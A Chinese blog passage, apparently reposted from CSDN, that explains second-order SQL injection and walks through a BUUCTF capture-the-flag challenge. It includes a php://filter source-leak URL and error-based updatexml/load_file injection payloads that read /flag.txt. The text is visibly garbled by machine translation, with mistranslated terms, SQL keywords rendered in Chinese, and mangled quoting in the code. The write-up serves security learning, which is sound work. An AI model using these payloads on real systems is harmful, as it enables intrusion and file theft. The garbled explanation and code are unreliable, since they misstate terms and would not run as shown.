SQL注入之二次注入,sql注入的解决方案

SQL注入之二次注入二次注入
二次注入漏洞是一种在 Web 应用程序中广泛存在的安全漏洞形式。相对于一次注入漏洞而言,工次注入漏洞更难以被发现,但是它却具有与一次注入攻击漏洞相同的攻击威力。(二次

二次注入

二次注入漏洞是Web应用中普遍存在的安全漏洞。与一次性注入漏洞相比,工作时注入漏洞更难检测,但其攻击力与一次性注入漏洞相当。 (第二次注入主要是字符注入)

二次注射原理

二次注入的原理是,第一次向数据库插入数据时,只需使用addslashes或者使用get magic_quotes_gpc来转义特殊字符即可。然而,addslashes 的一个特点是,即使参数被过滤,它们仍然是“\\”。添加\’\\\’是为了转义,但\’\\\’不会插入到数据库中,写入数据库时保留原始数据。将数据存储在数据库中后,开发人员确定该数据是可信的。下次需要查询时,直接从数据库中取出脏数据,不做进一步的检查或处理,造成二次SQL注入。例如,第一次插入数据时,数据包含单引号,直接插入数据库。然后在下次使用时,在粘合过程中会形成二次注塑。

恶意数据库插入- 恶意数据参考(潜在)

测试时,首先确定网站是否有过滤(通常都会有),然后检查是否有常见的电子邮件、注册、更改密码、添加文章、编辑等可能发生的入口点。

无人机是buuctf制造的

我查看了源码,发现有一个文件参数。

输入URL:file=php://filter/read=convert.base64-encode/resource=index.php。

导出为Base64编码解码得到源码(感谢csdn)

该网页有索引、确认、删除、修改网页,逻辑为index.php-confirm.php。

经过筛查,发现change.php中有注入(无转义功能)

if (preg_match($pattern,$user_name) || preg_match($pattern,$phone)){

$msg=\’没有SQL 注入!\’;

}除此之外{

$sql=\’从`user`中选择*,其中`user_name`=\'{$user_name}\’和`phone`=\'{$phone}\’\’;

$fetch=$db-query($sql);

}

开始注射

使用错误注入

1\’ and updatexml(1,concat(0x7e,(select substr(load_file(\’/flag.txt\’),1,30)),0x7e),1)#

接下来,更改读取标志的顺序。

1\’ and updatexml(1,concat(0x7e,(select substr(load_file(\’/flag.txt\’),30,30)),0x7e),1)#

重新注入得到下半场

以上来自网络的关于#SQL注入和二次注入的相关内容仅供大家参考。相关信息请参见官方公告。

原创文章,作者:CSDN,如若转载,请注明出处:https://www.sudun.com/ask/93812.html

(0)
CSDN的头像CSDN
上一篇 2024年7月26日
下一篇 2024年7月26日

相关推荐

发表回复

您的电子邮箱地址不会被公开。 必填项已用 * 标注